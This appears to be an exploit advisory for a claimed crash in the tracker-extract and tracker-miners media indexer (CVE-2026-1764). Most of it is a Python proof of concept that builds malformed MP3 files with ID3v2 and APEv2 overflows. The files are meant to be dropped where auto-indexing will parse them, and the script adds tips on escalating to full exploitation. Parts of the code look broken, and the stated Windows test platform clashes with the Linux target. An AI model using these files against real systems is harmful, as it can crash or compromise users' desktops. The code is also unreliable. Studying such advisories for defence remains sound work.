📄 tracker-extract 3.8.2 / tracker-miners 3.x Crash

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    | # Title     : tracker-extract 3.8.2 tracker-miners 3.x Media Parser Crash PoC                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.ubuntu.com/                                                                                                     |
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    [+] References :  https://packetstorm.news/files/id/215100/ & 	CVE-2026-1764
    
    [+] Summary    : Crafted MP3/APEv2 tags may cause tracker-extract to crash when parsing oversized or malformed frames.
    
    
    [+]PoC : id3_overflow.mp3, ape_overflow.mp3, hybrid.mp3
    
    Place file in ~/Downloads
    tracker-miners auto-indexes file
    Observe crash with: journalctl -f | grep tracker
      
    #!/usr/bin/env python3
    
    import struct
    import sys
    import os
    
    class MP3ExploitGenerator:
        def __init__(self):
            self.techniques = []
            
        def create_id3v2_size_overflow(self, filename):
            """
            Create ID3v2 tag with size that causes integer overflow
            in tracker-miners' allocation routine
            """
            with open(filename, 'wb') as f:
    
                f.write(b'ID3')         
                f.write(b'\x03\x00')     
                f.write(b'\x00')          
    
                size = 0x1FFFFFFF
                sync_safe = bytes([
                    (size >> 21) & 0x7F,
                    (size >> 14) & 0x7F,
                    (size >> 7) & 0x7F,
                    size & 0x7F
                ])
                f.write(sync_safe)
    
                f.write(b'TIT2')         
                frame_size = 0x3FFFFFFF
                f.write(struct.pack('>I', frame_size))
                f.write(b'\x00\x00')     
                f.write(b'A' * 1024)    
                
            self.techniques.append("ID3v2 size overflow (premature EOF)")
            return True
        
        def create_mp3_bitrate_confusion(self, filename):
            """
            Create MP3 with conflicting bitrate/sample rate information
            """
            with open(filename, 'wb') as f:
    
                header = 0xFFFB  # MPEG-1 Layer 3
                header = (header & ~(0xF << 12)) | (0xF << 12)
                header = (header & ~(0x3 << 10)) | (0x3 << 10)
                
                f.write(struct.pack('>H', header))
                bitrate_lookup = [0, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 0]
                sample_rate_lookup = [44100, 48000, 32000, 0]
    
                bitrate_idx = 15 
                sample_rate_idx = 3  
    
                f.write(b'Xing')
                f.write(struct.pack('>I', 0x0000000F))
                f.write(struct.pack('>I', 0xFFFFFFFF))  
                f.write(struct.pack('>I', 0xFFFFFFFF))  
                
            self.techniques.append("MP3 bitrate/sample rate confusion")
            return True
        
        def create_apev2_item_overflow(self, filename):
            """
            APEv2 tag with item_count * item_size overflow
            """
            with open(filename, 'wb') as f:
    
                f.write(b'\xFF\xFB\x90\x64\x00\x00\x00\x00')
                f.write(b'\x00' * 4000)
                f.write(b'APETAGEX')
                f.write(struct.pack('<I', 2000))    
                f.write(struct.pack('<I', 1024))    
                f.write(struct.pack('<I', 0x40000000)) 
                f.write(struct.pack('<I', 0x80000000)) 
                f.write(b'\x00' * 8)               
    
                item_size = 100
                item_flags = 0
                f.write(struct.pack('<I', item_size))
                f.write(struct.pack('<I', item_flags))
                f.write(b'Title\x00')
                f.write(b'B' * item_size)
                
            self.techniques.append("APEv2 item count overflow")
            return True
        
        def create_hybrid_file(self, filename):
            """Combine multiple techniques"""
            with open(filename, 'wb') as f:
    
                f.write(b'ID3\x03\x00\x00')
                f.write(b'\x00\x00\x00\x10') 
                f.write(b'COMM')
                f.write(struct.pack('>I', 100))
                f.write(b'\x80\x00') 
    
                for i in range(5):
                    header = 0xFFFB
                    bitrate_idx = (i % 14) + 1
                    header = (header & ~(0xF << 12)) | (bitrate_idx << 12)
                    f.write(struct.pack('>H', header))
                    f.write(b'\x00' * 400)
    
                f.write(b'TAG')
                f.write(b'A' * 125)  
                f.write(b'\x00' * 1) 
                
            self.techniques.append("Hybrid ID3v2/MP3/ID3v1 confusion")
            return True
    
    def test_with_tracker(filename):
        """Simulate how tracker-miners would process the file"""
        print(f"\n[+] Simulating tracker-miners parsing of {filename}")
        print("    (Based on tracker-extract 3.8.2 source analysis)")
        
        file_size = os.path.getsize(filename)
        print(f"    File size: {file_size:,} bytes")
        
        with open(filename, 'rb') as f:
            header = f.read(10)
            
            if header.startswith(b'ID3'):
                print(" Starts with ID3v2 tag")
    
                version = header[3]
                print(f" ID3v2.{version}.0 detected")
    
                size_bytes = header[6:10]
                size = 0
                for b in size_bytes:
                    size = (size << 7) | (b & 0x7F)
                print(f"    Tag size field: {size:,} bytes")
                
                if size > 100 * 1024 * 1024:  # 100MB
                    print(" Large size field - potential overflow")
                    
            elif header[:2] == b'\xFF\xFB' or header[:2] == b'\xFF\xFA':
                print(" MPEG audio frame detected")
    
            f.seek(-32, os.SEEK_END)
            footer = f.read(32)
            if b'APETAGEX' in footer:
                print(" APEv2 tag detected at end")
    
    def main():
        if len(sys.argv) < 2:
            print("Usage: python3 tracker_exploit.py <test_directory>")
            sys.exit(1)
        
        test_dir = sys.argv[1]
        os.makedirs(test_dir, exist_ok=True)
        
        generator = MP3ExploitGenerator()
    
        files = [
            ("id3_overflow.mp3", generator.create_id3v2_size_overflow),
            ("bitrate_confusion.mp3", generator.create_mp3_bitrate_confusion),
            ("ape_overflow.mp3", generator.create_apev2_item_overflow),
            ("hybrid.mp3", generator.create_hybrid_file),
        ]
        
        for filename, create_func in files:
            filepath = os.path.join(test_dir, filename)
            print(f"\n[+] Creating {filename}...")
            if create_func(filepath):
                test_with_tracker(filepath)
        
        print("\n" + "="*60)
        print("VULNERABILITY SUMMARY")
        print("="*60)
        for i, technique in enumerate(generator.techniques, 1):
            print(f"{i}. {technique}")
        
        print("\n" + "="*60)
        print("REAL EXPLOIT CONSIDERATIONS")
        print("="*60)
        print("""
        1. Heap Feng Shui needed for reliable exploitation
        2. GLib memory allocator (g_slice, g_malloc) specifics
        3. tracker-miners uses GStreamer for parsing - check those code paths
        4. ASLR bypass via info leaks (if any)
        5. Need to control specific function pointers (GObject methods)
        6. Potential sandbox/Seccomp restrictions
        """)
        
        print("\n[+] Test files created in:", test_dir)
        print("[!] For actual exploitation, reverse engineer:")
        print("    - tracker-extract binary")
        print("    - libtracker-extract.so")
        print("    - GStreamer plugins used")
    
    if __name__ == "__main__":
        main()
    	
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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